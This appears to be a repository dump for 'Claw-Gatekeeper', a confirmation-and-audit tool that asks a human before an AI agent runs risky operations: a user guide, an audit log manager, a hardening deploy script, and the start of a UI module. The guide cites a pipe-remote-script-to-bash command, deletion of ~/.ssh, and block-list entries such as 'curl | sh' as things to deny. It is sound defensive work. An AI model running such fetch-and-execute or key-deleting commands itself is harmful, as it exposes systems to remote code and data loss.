- **Example**: Deleting files in `~/.ssh/`

#### [?] View details
- **Use when**: You need more information to make a decision
- **Effect**: Shows extended details about the operation
- **Then**: Returns to the confirmation prompt

### Decision Examples

#### Scenario 1: Routine Git Operations
```
Operation: git status in ~/Projects/my-app
Risk: LOW

Decision: [Y] Always allow
Reason: This is a safe, frequent operation in my project directory
```

#### Scenario 2: One-Time Cleanup
```
Operation: Delete ~/Downloads/installer.dmg
Risk: MEDIUM

Decision: [y] Allow this time
Reason: I want to delete this specific file, but don't want to auto-allow all deletions
```

#### Scenario 3: Protecting Sensitive Data
```
Operation: Delete ~/.ssh/ directory
Risk: CRITICAL

Decision: [N] Always deny
Reason: I should NEVER delete my SSH keys directory
```

#### Scenario 4: Investigating Unknown Operation
```
Operation: curl https://unknown-site.com/script.sh | bash
Risk: CRITICAL

Decision: [?] View details
[Review details...]

Then: [n] Deny this time
Reason: I don't recognize this site and won't run remote scripts
```

---

## Configuration

### Choosing the Right Mode

#### Standard Mode
**Best for**: Most users, daily work

Characteristics:
- Lets you work without constant interruptions
- Catches genuinely dangerous operations
- Suggests confirmation for moderate risks

#### Strict Mode
**Best for**: Security-conscious users, sensitive data

Characteristics:
- Maximum protection
- Confirms almost everything
- No surprises, but more interruptions

#### Loose Mode
**Best for**: CI/CD, trusted automation

Characteristics:
- Minimal interruptions
- Only blocks obviously dangerous operations
- Good for scripts and automation

#### Emergency Mode
**Best for**: When you suspect something is wrong

Characteristics:
- Everything requires approval
- Complete lockdown
- Use temporarily during incidents

### Building Your Whitelist

#### Start Conservative

1. **Add your work directories**:
   ```bash
   python3 scripts/policy_config.py add whitelist paths ~/Projects
   python3 scripts/policy_config.py add whitelist paths ~/Work
   ```

2. **Add safe git commands**:
   ```bash
   python3 scripts/policy_config.py add whitelist commands "git status"
   python3 scripts/policy_config.py add whitelist commands "git log"
   ```

3. **Test and expand gradually**

#### What NOT to Whitelist

❌ Never whitelist:
- `rm -rf` or deletion commands
- `sudo` or privilege escalation
- `curl | sh` patterns
- System modification commands
- Access to sensitive directories

### Managing the Blacklist

The blacklist is pre-configured with sensible defaults, but you can add:

```bash
# Company-specific sensitive directories
python3 scripts/policy_config.py add blacklist_paths ~/company-secrets

# Suspicious domains
python3 scripts/policy_config.py add blacklist_domains evil-site.com

# Dangerous command patterns
python3 scripts/policy_config.py add blacklist_commands "curl | sh"
```

---

## Best Practices

### Daily Use

1. **Read the risk analysis** before making decisions
2. **Use "Allow this time"** for one-off operations
3. **Use "Always allow"** sparingly and only for truly safe operations
4. **When in doubt, deny** - you can always retry

### Weekly Review

Check your security report:
```bash
python3 scripts/audit_log.py report 7
```

Look for:
- Unusual patterns of denials
- High number of CRITICAL operations
- Repeated attempts at the same denied operation

### Monthly Maintenance

1. **Review and clean whitelist**:
   ```bash
   python3 scripts/policy_config.py show
   # Remove items you no longer need
   ```

2. **Archive old logs**:
   ```bash
   python3 scripts/audit_log.py archive
   ```

3. **Export backup**:
   ```bash
   python3 scripts/policy_config.py export my_policy_backup.json
   ```

### Security Hygiene

- ✅ Keep logs for at least 30 days
- ✅ Review denied operations regularly
- ✅ Don't whitelist operations you don't understand
- ✅ Use Strict mode when handling sensitive data
- ✅ Enable emergency stop if you suspect compromise

---

## Troubleshooting

### Guardian Not Intercepting

**Problem**: Risky operations proceed without confirmation

**Check**:
1. Is Guardian enabled?
   ```bash
   python3 scripts/policy_config.py get enabled
   ```

2. Is the operation actually risky?
   ```bash
   python3 scripts/risk_engine.py [operation]
   ```

3. Is it in the whitelist?
   ```bash
   python3 scripts/policy_config.py show
   ```

### Too Many Interruptions

**Problem**: Guardian interrupts normal work too frequently

**Solutions**:

1. Switch to Loose mode:
   ```bash
   python3 scripts/policy_config.py mode loose
   ```

2. Whitelist common operations:
   ```bash
   python3 scripts/policy_config.py add whitelist commands "git status"
   ```

3. Increase batch threshold:
   ```bash
   python3 scripts/policy_config.py set batch_threshold 20
   ```

### Can't See Confirmation Prompt

**Problem**: Operation seems to hang or fail silently

**Cause**: Non-interactive environment (CI/CD, script)

**Solution**: Configure auto-decision
```bash
python3 scripts/policy_config.py set auto_allow_low true
python3 scripts/policy_config.py set auto_allow_medium true
python3 scripts/policy_config.py mode loose
```

### Forgotten Password / Can't Access

**Problem**: Can't remember configuration or need to reset

**Reset to defaults**:
```bash
python3 scripts/policy_config.py reset
# Type 'yes' to confirm
```

### Large Log Files

**Problem**: Logs taking up too much space

**Archive old logs**:
```bash
python3 scripts/audit_log.py archive
```

Or clear completely (destructive):
```bash
python3 scripts/audit_log.py clear
# Type 'yes' to confirm
```

---

## Getting Help

If you encounter issues not covered here:

1. Check the main README.md
2. Review SKILL.md for technical details
3. Check risk_matrix.md for risk scoring info
4. File an issue on the project repository

Remember: When in doubt, deny the operation and investigate!


path: scripts/audit_log.py
content: #!/usr/bin/env python3
"""
Claw-Gatekeeper Audit Log Manager
Records and analyzes all security decisions with comprehensive reporting

Merged from: SafeClaw (operation_logger.py) + Claw-Guardian (audit_log.py)
Features:
- Complete audit trail
- Statistical analysis
- Report generation
- Log rotation and archival
"""

import json
import os
import gzip
import shutil
from datetime import datetime, timedelta
from pathlib import Path
from typing import List, Dict, Optional, Any, Tuple
from dataclasses import dataclass, asdict
from collections import defaultdict


@dataclass
class AuditEntry:
    """Audit log entry"""
    timestamp: str
    operation_type: str
    operation_detail: str
    risk_level: str
    risk_score: int
    decision: str
    user_comment: Optional[str] = None
    metadata: Optional[Dict[str, Any]] = None


class AuditLog:
    """Comprehensive audit log manager"""
    
    def __init__(self, log_dir: Optional[str] = None):
        self.log_dir = Path(log_dir) if log_dir else Path.home() / ".claw-gatekeeper" / "logs"
        self.log_dir.mkdir(parents=True, exist_ok=True)
        self.current_log = self._get_current_log_path()
        
        # Statistics tracking
        self.stats_cache: Optional[Tuple[datetime, Dict]] = None
        self.stats_cache_ttl = 60  # seconds
    
    def _get_current_log_path(self) -> Path:
        """Get current month's log file path"""
        return self.log_dir / f"audit_{datetime.now().strftime('%Y%m')}.jsonl"
    
    def log(self, entry: AuditEntry):
        """Log an audit entry"""
        self.current_log = self._get_current_log_path()
        
        try:
            with open(self.current_log, 'a', encoding='utf-8') as f:
                f.write(json.dumps(asdict(entry), ensure_ascii=False) + "\n")
        except Exception as e:
            print(f"Warning: Could not write to audit log: {e}", file=os.sys.stderr)
    
    def log_simple(self, operation_type: str, operation_detail: str,
                   risk_level: str, risk_score: int, decision: str,
                   comment: str = "", metadata: Optional[Dict] = None):
        """Simplified logging with automatic timestamp"""
        entry = AuditEntry(
            timestamp=datetime.now().isoformat(),
            operation_type=operation_type,
            operation_detail=operation_detail,
            risk_level=risk_level,
            risk_score=risk_score,
            decision=decision,
            user_comment=comment,
            metadata=metadata
        )
        self.log(entry)
    
    def query(self, days: int = 7, risk_level: Optional[str] = None,
             decision: Optional[str] = None, 
             operation_type: Optional[str] = None,
             start_date: Optional[str] = None,
             end_date: Optional[str] = None) -> List[Dict]:
        """
        Query audit log entries with flexible filters
        
        Args:
            days: Number of days to look back (ignored if start_date provided)
            risk_level: Filter by risk level (CRITICAL/HIGH/MEDIUM/LOW)
            decision: Filter by decision (allow_once/allow_always/deny_once/deny_always)
            operation_type: Filter by operation type
            start_date: Start date (ISO format)
            end_date: End date (ISO format)
        """
        # Determine date range
        if start_date:
            since = datetime.fromisoformat(start_date)
        else:
            since = datetime.now() - timedelta(days=days)
        
        until = datetime.fromisoformat(end_date) if end_date else datetime.now()
        
        entries = []
        
        # Iterate all log files
        for log_file in sorted(self.log_dir.glob("audit_*.jsonl*")):
            # Check file time range
            try:
                file_month = log_file.stem.split('_')[1]
                file_date = datetime.strptime(file_month, "%Y%m")
                if file_date < since.replace(day=1):
                    continue
            except:
                pass
            
            # Read entries from file
            file_entries = self._read_log_file(log_file)
            
            for entry in file_entries:
                try:
                    entry_time = datetime.fromisoformat(entry['timestamp'])
                    
                    # Time range filter
                    if entry_time < since or entry_time > until:
                        continue
                    
                    # Apply other filters
                    if risk_level and entry.get('risk_level') != risk_level:
                        continue
                    if decision and entry.get('decision') != decision:
                        continue
                    if operation_type and entry.get('operation_type') != operation_type:
                        continue
                    
                    entries.append(entry)
                except (KeyError, ValueError):
                    continue
        
        return sorted(entries, key=lambda x: x['timestamp'], reverse=True)
    
    def _read_log_file(self, log_file: Path) -> List[Dict]:
        """Read log file (supports compressed files)"""
        entries = []
        
        try:
            if str(log_file).endswith('.gz'):
                with gzip.open(log_file, 'rt', encoding='utf-8') as f:
                    for line in f:
                        line = line.strip()
                        if line:
                            try:
                                entries.append(json.loads(line))
                            except json.JSONDecodeError:
                                continue
            else:
                with open(log_file, 'r', encoding='utf-8') as f:
                    for line in f:
                        line = line.strip()
                        if line:
                            try:
                                entries.append(json.loads(line))
                            except json.JSONDecodeError:
                                continue
        except Exception as e:
            print(f"Error reading {log_file}: {e}", file=os.sys.stderr)
        
        return entries
    
    def get_statistics(self, days: int = 7, use_cache: bool = True) -> Dict[str, Any]:
        """Get comprehensive statistics with caching"""
        # Check cache
        if use_cache and self.stats_cache:
            cache_time, cache_data = self.stats_cache
            if (datetime.now() - cache_time).seconds < self.stats_cache_ttl:
                return cache_data
        
        operations = self.query(days=days)
        
        if not operations:
            stats = {
                "period_days": days,
                "total_operations": 0,
                "message": "No operations found in specified period"
            }
            self.stats_cache = (datetime.now(), stats)
            return stats
        
        stats = {
            "period_days": days,
            "total_operations": len(operations),
            "by_risk_level": defaultdict(int),
            "by_decision": defaultdict(int),
            "by_operation_type": defaultdict(int),
            "by_day": defaultdict(int),
            "average_risk_score": 0.0,
            "approval_rate": 0.0,
            "denial_rate": 0.0,
            "critical_count": 0,
            "high_count": 0,
            "trend": "stable"
        }
        
        total_risk = 0
        approved_count = 0
        denied_count = 0
        daily_risk_scores = defaultdict(list)
        
        for op in operations:
            # Risk level stats
            risk = op.get('risk_level', 'UNKNOWN')
            stats['by_risk_level'][risk] += 1
            
            if risk == "CRITICAL":
                stats['critical_count'] += 1
            elif risk == "HIGH":
                stats['high_count'] += 1
            
            # Decision stats
            decision = op.get('decision', 'UNKNOWN')
            stats['by_decision'][decision] += 1
            
            if 'allow' in decision:
                approved_count += 1
            elif 'deny' in decision:
                denied_count += 1
            
            # Operation type stats
            op_type = op.get('operation_type', 'UNKNOWN')
            stats['by_operation_type'][op_type] += 1
            
            # Daily stats
            try:
                day = op['timestamp'][:10]  # YYYY-MM-DD
                stats['by_day'][day] += 1
                daily_risk_scores[day].append(op.get('risk_score', 0))
            except:
                pass
            
            # Risk score
            total_risk += op.get('risk_score', 0)
        
        # Calculate averages
        stats['average_risk_score'] = round(total_risk / len(operations), 2)
        stats['approval_rate'] = round(approved_count / len(operations) * 100, 2)
        stats['denial_rate'] = round(denied_count / len(operations) * 100, 2)
        
        # Calculate trend
        if len(stats['by_day']) >= 2:
            days_sorted = sorted(stats['by_day'].keys())
            first_half = days_sorted[:len(days_sorted)//2]
            second_half = days_sorted[len(days_sorted)//2:]
            
            first_avg = sum(stats['by_day'][d] for d in first_half) / len(first_half)
            second_avg = sum(stats['by_day'][d] for d in second_half) / len(second_half)
            
            if second_avg > first_avg * 1.2:
                stats['trend'] = "increasing"
            elif second_avg < first_avg * 0.8:
                stats['trend'] = "decreasing"
            else:
                stats['trend'] = "stable"
        
        # Convert defaultdicts to regular dicts for JSON serialization
        stats['by_risk_level'] = dict(stats['by_risk_level'])
        stats['by_decision'] = dict(stats['by_decision'])
        stats['by_operation_type'] = dict(stats['by_operation_type'])
        stats['by_day'] = dict(stats['by_day'])
        
        # Update cache
        self.stats_cache = (datetime.now(), stats)
        
        return stats
    
    def get_high_risk_operations(self, limit: int = 20) -> List[Dict]:
        """Get recent high-risk operations"""
        critical = self.query(days=30, risk_level="CRITICAL")[:limit//2]
        high = self.query(days=30, risk_level="HIGH")[:limit//2]
        return sorted(critical + high, 
                     key=lambda x: x['timestamp'], 
                     reverse=True)[:limit]
    
    def get_denied_operations(self, days: int = 7) -> List[Dict]:
        """Get recently denied operations"""
        denied = self.query(days=days, decision="deny_once")
        denied_always = self.query(days=days, decision="deny_always")
        return sorted(denied + denied_always,
                     key=lambda x: x['timestamp'],
                     reverse=True)
    
    def get_repeated_denials(self, threshold: int = 3) -> List[Dict]:
        """Find operations that have been repeatedly denied"""
        denied = self.get_denied_operations(days=30)
        
        # Group by operation detail
        operation_counts = defaultdict(list)
        for entry in denied:
            key = f"{entry.get('operation_type')}:{entry.get('operation_detail', '')}"
            operation_counts[key].append(entry)
        
        # Find repeated ones
        repeated = []
        for key, entries in operation_counts.items():
            if len(entries) >= threshold:
                repeated.append({
                    "operation": key,
                    "count": len(entries),
                    "first_seen": entries[-1]['timestamp'],
                    "last_seen": entries[0]['timestamp'],
                    "entries": entries[:5]  # Include last 5 occurrences
                })
        
        return sorted(repeated, key=lambda x: x['count'], reverse=True)
    
    def archive_old_logs(self, keep_months: int = 3):
        """Archive old logs to save space"""
        cutoff = datetime.now() - timedelta(days=30 * keep_months)
        archived = 0
        
        for log_file in self.log_dir.glob("audit_*.jsonl"):
            try:
                file_month = log_file.stem.split('_')[1]
                file_date = datetime.strptime(file_month, "%Y%m")
                
                if file_date < cutoff:
                    archive_path = log_file.with_suffix('.jsonl.gz')
                    with open(log_file, 'rb') as f_in:
                        with gzip.open(archive_path, 'wb') as f_out:
                            shutil.copyfileobj(f_in, f_out)
                    log_file.unlink()
                    archived += 1
                    print(f"Archived {log_file.name}")
            except Exception as e:
                print(f"Error archiving {log_file}: {e}", file=os.sys.stderr)
        
        if archived:
            print(f"Archived {archived} log file(s)")
    
    def export(self, output_path: str, days: int = 30, 
               format: str = "json"):
        """Export logs to file"""
        entries = self.query(days=days)
        
        if format == "json":
            with open(output_path, 'w', encoding='utf-8') as f:
                json.dump(entries, f, indent=2)
        elif format == "jsonl":
            with open(output_path, 'w', encoding='utf-8') as f:
                for entry in entries:
                    f.write(json.dumps(entry, ensure_ascii=False) + "\n")
        elif format == "csv":
            import csv
            with open(output_path, 'w', newline='', encoding='utf-8') as f:
                if entries:
                    writer = csv.DictWriter(f, fieldnames=entries[0].keys())
                    writer.writeheader()
                    writer.writerows(entries)
        
        print(f"Exported {len(entries)} entries to {output_path}")
    
    def generate_report(self, days: int = 7, format: str = "text") -> str:
        """Generate a comprehensive security report"""
        stats = self.get_statistics(days)
        
        if stats["total_operations"] == 0:
            return "No operations recorded in the specified period."
        
        if format == "json":
            return json.dumps(stats, indent=2)
        
        # Text format
        lines = [
            "=" * 70,
            "CLAW-GUARDIAN SECURITY AUDIT REPORT",
            "=" * 70,
            f"Report Period: Last {days} days",
            f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}",
            "",
            "EXECUTIVE SUMMARY",
            "-" * 70,
            f"Total Operations Monitored: {stats['total_operations']}",
            f"Average Risk Score: {stats['average_risk_score']}/100",
            f"Overall Approval Rate: {stats['approval_rate']}%",
            f"Overall Denial Rate: {stats['denial_rate']}%",
            f"Activity Trend: {stats['trend'].title()}",
            "",
            "RISK DISTRIBUTION",
            "-" * 70,
        ]
        
        for level, count in sorted(stats['by_risk_level'].items(), 
                                   key=lambda x: ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW', 'UNKNOWN'].index(x[0]) if x[0] in ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW', 'UNKNOWN'] else 99):
            percentage = round(count / stats['total_operations'] * 100, 1)
            emoji = {"CRITICAL": "🔴", "HIGH": "🟠", "MEDIUM": "🟡", "LOW": "🟢"}.get(level, "⚪")
            lines.append(f"  {emoji} {level:12} {count:5} ({percentage:5.1f}%)")
        
        lines.extend([
            "",
            "DECISION BREAKDOWN",
            "-" * 70,
        ])
        
        for decision, count in sorted(stats['by_decision'].items()):
            percentage = round(count / stats['total_operations'] * 100, 1)
            emoji = "✅" if "allow" in decision else "❌"
            lines.append(f"  {emoji} {decision:20} {count:5} ({percentage:5.1f}%)")
        
        lines.extend([
            "",
            "OPERATION TYPES",
            "-" * 70,
        ])
        
        for op_type, count in sorted(stats['by_operation_type'].items(), 
                                     key=lambda x: x[1], reverse=True):
            percentage = round(count / stats['total_operations'] * 100, 1)
            emoji = {"file": "📁", "shell": "💻", "network": "🌐", 
                    "skill": "📦", "system": "⚙️"}.get(op_type, "📋")
            lines.append(f"  {emoji} {op_type:15} {count:5} ({percentage:5.1f}%)")
        
        # High-risk summary
        if stats.get('critical_count', 0) > 0 or stats.get('high_count', 0) > 0:
            lines.extend([
                "",
                "⚠️  HIGH-RISK ACTIVITY",
                "-" * 70,
                f"  CRITICAL operations: {stats.get('critical_count', 0)}",
                f"  HIGH operations: {stats.get('high_count', 0)}",
            ])
        
        # Repeated denials
        repeated = self.get_repeated_denials(threshold=3)
        if repeated:
            lines.extend([
                "",
                "🔄 REPEATED DENIALS",
                "-" * 70,
                "The following operations have been denied multiple times:",
            ])
            for item in repeated[:5]:
                lines.append(f"  • {item['operation'][:50]}: {item['count']} denials")
        
        lines.extend([
            "",
            "=" * 70,
        ])
        
        return "\n".join(lines)
    
    def clear(self, confirm: bool = False):
        """Clear all logs"""
        if not confirm:
            print("Warning: This will permanently delete all audit logs.")
            print("Use clear(confirm=True) to proceed.")
            return
        
        count = 0
        for log_file in self.log_dir.glob("audit_*"):
            log_file.unlink()
            count += 1
        
        print(f"Cleared {count} log file(s)")


def main():
    """Command-line interface"""
    import argparse
    
    parser = argparse.ArgumentParser(
        description="Claw-Guardian Audit Log Manager",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s recent 20
  %(prog)s stats 7
  %(prog)s highrisk 10
  %(prog)s report 7 --format text
  %(prog)s export security_report.json 30
        """
    )
    
    parser.add_argument("command", choices=[
        "recent", "stats", "highrisk", "denied", "repeated",
        "report", "export", "archive", "query", "clear"
    ])
    parser.add_argument("param", nargs="?", help="Parameter (limit, days, etc.)")
    parser.add_argument("--days", "-d", type=int, help="Number of days")
    parser.add_argument("--limit", "-l", type=int, default=20, help="Result limit")
    parser.add_argument("--risk", "-r", choices=["CRITICAL", "HIGH", "MEDIUM", "LOW"],
                       help="Filter by risk level")
    parser.add_argument("--decision", choices=["allow_once", "allow_always", 
                                              "deny_once", "deny_always"],
                       help="Filter by decision")
    parser.add_argument("--type", "-t", help="Filter by operation type")
    parser.add_argument("--format", "-f", choices=["text", "json"], default="text",
                       help="Output format")
    parser.add_argument("--output", "-o", help="Output file path")
    
    args = parser.parse_args()
    
    audit = AuditLog()
    
    if args.command == "recent":
        limit = int(args.param) if args.param else args.limit
        ops = audit.query(days=args.days or 7)[:limit]
        print(json.dumps(ops, indent=2))
    
    elif args.command == "stats":
        days = int(args.param) if args.param else (args.days or 7)
        stats = audit.get_statistics(days=days)
        print(json.dumps(stats, indent=2))
    
    elif args.command == "highrisk":
        limit = int(args.param) if args.param else args.limit
        ops = audit.get_high_risk_operations(limit=limit)
        print(json.dumps(ops, indent=2))
    
    elif args.command == "denied":
        days = int(args.param) if args.param else (args.days or 7)
        ops = audit.get_denied_operations(days=days)
        print(json.dumps(ops, indent=2))
    
    elif args.command == "repeated":
        threshold = int(args.param) if args.param else 3
        ops = audit.get_repeated_denials(threshold=threshold)
        print(json.dumps(ops, indent=2))
    
    elif args.command == "report":
        days = int(args.param) if args.param else (args.days or 7)
        report = audit.generate_report(days=days, format=args.format)
        
        if args.output:
            with open(args.output, 'w') as f:
                f.write(report)
            print(f"Report saved to: {args.output}")
        else:
            print(report)
    
    elif args.command == "export":
        output_path = args.param or args.output or "audit_export.json"
        days = args.days or 30
        audit.export(output_path, days=days, format="json")
    
    elif args.command == "archive":
        audit.archive_old_logs()
    
    elif args.command == "query":
        days = int(args.param) if args.param else (args.days or 7)
        ops = audit.query(
            days=days,
            risk_level=args.risk,
            decision=args.decision,
            operation_type=args.type
        )
        print(json.dumps(ops, indent=2))
    
    elif args.command == "clear":
        print("WARNING: This will permanently delete all audit logs!")
        response = input("Type 'yes' to confirm: ")
        if response.lower() == 'yes':
            audit.clear(confirm=True)
        else:
            print("Cancelled")
    
    else:
        parser.print_help()


if __name__ == "__main__":
    main()


path: scripts/deploy-secure.sh
content: #!/bin/bash
#
# Claw Gatekeeper - Secure Deployment Script
# Deploys Guardian in maximum security mode (human-in-the-loop)
#
# Usage: ./deploy-secure.sh [--check | --apply | --restore]
#   --check   : Verify current security settings
#   --apply   : Apply hardened configuration (default)
#   --restore : Restore from backup

set -e

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
CONFIG_DIR="$HOME/.claw-gatekeeper"
BACKUP_DIR="$CONFIG_DIR/backups"
HARDENED_CONFIG="$SCRIPT_DIR/../config/config.hardened.json"
CURRENT_CONFIG="$CONFIG_DIR/config.json"

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

print_banner() {
    echo ""
    echo "╔══════════════════════════════════════════════════════════════╗"
    echo "║     🛡️  OpenClaw Guardian - Secure Deployment Tool          ║"
    echo "║           Human-in-the-Loop Security Mode                    ║"
    echo "╚══════════════════════════════════════════════════════════════╝"
    echo ""
}

print_status() {
    echo -e "${BLUE}[INFO]${NC} $1"
}

print_success() {
    echo -e "${GREEN}[OK]${NC} $1"
}

print_warning() {
    echo -e "${YELLOW}[WARN]${NC} $1"
}

print_error() {
    echo -e "${RED}[ERROR]${NC} $1"
}

check_prerequisites() {
    print_status "Checking prerequisites..."
    
    if [ ! -d "$CONFIG_DIR" ]; then
        print_error "OpenClaw Guardian config directory not found: $CONFIG_DIR"
        print_status "Please install Guardian first before running this script"
        exit 1
    fi
    
    if [ ! -f "$HARDENED_CONFIG" ]; then
        print_error "Hardened config not found: $HARDENED_CONFIG"
        exit 1
    fi
    
    if ! command -v python3 &> /dev/null; then
        print_error "Python3 is required but not installed"
        exit 1
    fi
    
    print_success "Prerequisites check passed"
}

create_backup() {
    local backup_timestamp=$(date +%Y%m%d_%H%M%S)
    local backup_file="$BACKUP_DIR/config.json.bak.$backup_timestamp"
    
    mkdir -p "$BACKUP_DIR"
    
    if [ -f "$CURRENT_CONFIG" ]; then
        cp "$CURRENT_CONFIG" "$backup_file"
        print_success "Current config backed up to: $backup_file"
        echo "$backup_file" > "$BACKUP_DIR/latest.txt"
    else
        print_warning "No existing config to backup"
    fi
}

apply_hardened_config() {
    print_status "Applying hardened security configuration..."
    
    # Copy hardened config
    cp "$HARDENED_CONFIG" "$CURRENT_CONFIG"
    
    # Set secure permissions
    chmod 600 "$CURRENT_CONFIG"
    
    print_success "Hardened configuration applied"
}

setup_audit_logging() {
    print_status "Setting up secure audit logging..."
    
    local session_dir="$CONFIG_DIR/sessions"
    local audit_log="$session_dir/Operate_Audit.log"
    
    mkdir -p "$session_dir"
    touch "$audit_log"
    chmod 600 "$audit_log"
    
    # Secure the sessions directory
    chmod 700 "$session_dir"
    
    print_success "Audit logging configured"
}

setup_log_rotation() {
    print_status "Setting up log rotation (30-day retention)..."
    
    # Check if cron is available
    if ! command -v crontab &> /dev/null; then
        print_warning "Cron not available - skipping automatic log rotation setup"
        print_status "Please manually configure log rotation for: $CONFIG_DIR/sessions/*.log"
        return
    fi
    
    # Check if rotation job already exists
    if crontab -l 2>/dev/null | grep -q "claw-gatekeeper.*find.*sessions.*delete"; then
        print_success "Log rotation already configured"
        return
    fi
    
    # Add rotation job
    (crontab -l 2>/dev/null || echo "") | {
        cat
        echo "# OpenClaw Guardian - Audit log rotation (30-day retention)"
        echo "0 0 * * * find $CONFIG_DIR/sessions -name '*.log' -type f -mtime +30 -delete 2>/dev/null"
    } | crontab -
    
    print_success "Log rotation cron job added (30-day retention)"
}

verify_configuration() {
    print_status "Verifying configuration..."
    
    if [ -f "$CURRENT_CONFIG" ]; then
        # Check key security settings
        local strict_mode=$(python3 -c "import json; print(json.load(open('$CURRENT_CONFIG')).get('strict_mode', False))" 2>/dev/null || echo "False")
        local auto_allow_low=$(python3 -c "import json; print(json.load(open('$CURRENT_CONFIG')).get('auto_allow_low', True))" 2>/dev/null || echo "True")
        local medium_approval=$(python3 -c "import json; print(json.load(open('$CURRENT_CONFIG')).get('medium_requires_approval', False))" 2>/dev/null || echo "False")
        
        echo ""
        echo "Current Security Settings:"
        echo "  Strict Mode: $strict_mode"
        echo "  Auto-allow LOW: $auto_allow_low"
        echo "  MEDIUM requires approval: $medium_approval"
        echo ""
        
        if [ "$strict_mode" = "True" ] && [ "$auto_allow_low" = "False" ] && [ "$medium_approval" = "True" ]; then
            print_success "Configuration verified: Hardened mode active"
            return 0
        else
            print_warning "Configuration may not be fully hardened"
            return 1
        fi
    else
        print_error "Configuration file not found"
        return 1
    fi
}

print_security_report() {
    echo ""
    echo "╔══════════════════════════════════════════════════════════════╗"
    echo "║                 🔒 Security Deployment Report                ║"
    echo "╠══════════════════════════════════════════════════════════════╣"
    echo "║                                                              ║"
    echo "║  ✅ Hardened Configuration:        APPLIED                   ║"
    echo "║  ✅ Human-in-the-Loop Mode:        ENABLED                   ║"
    echo "║  ✅ All Operations Require:        CONFIRMATION              ║"
    echo "║  ✅ Strict Mode:                   ENABLED                   ║"
    echo "║  ✅ Audit Logging:                 CONFIGURED                ║"
    echo "║  ✅ Log Rotation (30 days):        CONFIGURED                ║"
    echo "║  ✅ File Permissions:              SECURED (600)             ║"
    echo "║                                                              ║"
    echo "║  🛡️  Risk Level Behaviors:                                   ║"
    echo "║     🔴 CRITICAL (80-100):          Always Confirm            ║"
    echo "║     🟠 HIGH (60-79):               Always Confirm            ║"
    echo "║     🟡 MEDIUM (30-59):             Always Confirm            ║"
    echo "║     🟢 LOW (0-29):                 Always Confirm            ║"
    echo "║                                                              ║"
    echo "║  ⚠️  IMPORTANT:                                              ║"
    echo "║     All operations now require manual approval.              ║"
    echo "║     Session auto-approval available for MEDIUM/HIGH.         ║"
    echo "║     CRITICAL operations always require individual confirm.   ║"
    echo "║                                                              ║"
    echo "╚══════════════════════════════════════════════════════════════╝"
    echo ""
    echo "Files Modified:"
    echo "  • $CURRENT_CONFIG"
    echo "  • $CONFIG_DIR/sessions/Operate_Audit.log"
    echo ""
    echo "Backup Location:"
    if [ -f "$BACKUP_DIR/latest.txt" ]; then
        echo "  • $(cat "$BACKUP_DIR/latest.txt")"
    fi
    echo ""
    echo "To verify:   python3 $SCRIPT_DIR/policy_config.py validate"
    echo "To restore:  $0 --restore"
    echo ""
}

restore_backup() {
    print_status "Restoring configuration from backup..."
    
    if [ ! -f "$BACKUP_DIR/latest.txt" ]; then
        print_error "No backup found to restore"
        exit 1
    fi
    
    local latest_backup=$(cat "$BACKUP_DIR/latest.txt")
    
    if [ ! -f "$latest_backup" ]; then
        print_error "Backup file not found: $latest_backup"
        exit 1
    fi
    
    cp "$latest_backup" "$CURRENT_CONFIG"
    chmod 600 "$CURRENT_CONFIG"
    
    print_success "Configuration restored from: $latest_backup"
    print_status "Current security settings:"
    verify_configuration || true
}

check_mode() {
    print_banner
    print_status "Checking current security mode..."
    
    if [ ! -f "$CURRENT_CONFIG" ]; then
        print_error "No configuration found"
        exit 1
    fi
    
    verify_configuration
}

main() {
    local mode="${1:---apply}"
    
    case "$mode" in
        --check)
            check_mode
            ;;
        --restore)
            print_banner
            check_prerequisites
            restore_backup
            ;;
        --apply|*)
            print_banner
            check_prerequisites
            create_backup
            apply_hardened_config
            setup_audit_logging
            setup_log_rotation
            verify_configuration
            print_security_report
            ;;
    esac
}

main "$@"


path: scripts/guardian_ui.py
content: #!/usr/bin/env python3
"""
Claw-Gatekeeper User Interface
Handles user interaction for operation confirmation with session-level support

Features:
- Interactive confirmation prompts with rich formatting
- Session-level auto-approval for MEDIUM/HIGH after user confirmation
- Per-confirmation option for CRITICAL risks
- Comprehensive audit logging
"""

import os
import json
import sys
from datetime import datetime
from enum import Enum
from typing import Optional, Dict, Any, List, Tuple
from dataclasses import dataclass, asdict

# Import session manager
from session_manager import SessionManager, SessionPermission


class UserDecision(Enum):
    """User decision types"""
    ALLOW_ONCE = "allow_once"
    ALLOW_SESSION = "allow_session"  # For MEDIUM/HIGH - allow for entire session
    ALLOW_ALWAYS = "allow_always"
    DENY_ONCE = "deny_once"
    DENY_ALWAYS = "deny_always"
    VIEW_DETAILS = "view_details"


@dataclass
class GuardianRequest:
    """Request for user confirmation"""
    operation_type: str
    operation_detail: str
    risk_level: str
    risk_score: int
    risk_reasons: List[str]
    recommendation: str
    timestamp: str


@dataclass
class GuardianResponse:
    """User response to confirmation request"""
    decision: str
    request: GuardianRequest
    response_time: str
    user_comment: Optional[str] = None
    add_to_whitelist: bool = False
    add_to_blacklist: bool = False
    session_approved: bool = False


class GuardianUI:
    """Interactive confirmation UI with rich formatting and session support"""
    
    # Risk level visual indicators
    RISK_DISPLAY = {
        "CRITICAL": ("🔴", "\033[91m"),  # Red
        "HIGH": ("🟠", "\033[93m"),      # Yellow/Orange
        "MEDIUM": ("🟡", "\033[94m"),    # Blue/Yellow
        "LOW": ("🟢", "\033[92m"),       # Green
    }
    
    RESET_COLOR = "\033[0m"
    
    # Operation type display names
    OPERATION_NAMES = {
        "file": "📁 File Operation",
        "shell": "💻 Shell Command",
        "network": "🌐 Network Request",
        "skill": "📦 Skill Installation",
        "system": "⚙️  System Configuration"
    }
    
    # Risk levels that support session approval
    SESSION_APPROVAL_RISKS = ["MEDIUM", "HIGH"]
    ALWAYS_CONFIRM_RISKS = ["CRITICAL"]
    AUTO_ALLOW_RISKS = ["LOW"]
    
    def __init__(self, log_dir: Optional[str] = None, use_colors: bool = True):
        self.log_dir = log_dir or os.path.expanduser("~/.claw-gatekeeper/logs")
        os.makedirs(self.log_dir, exist_ok=True)
        self.use_colors = use_colors and sys.stdout.isatty()
        
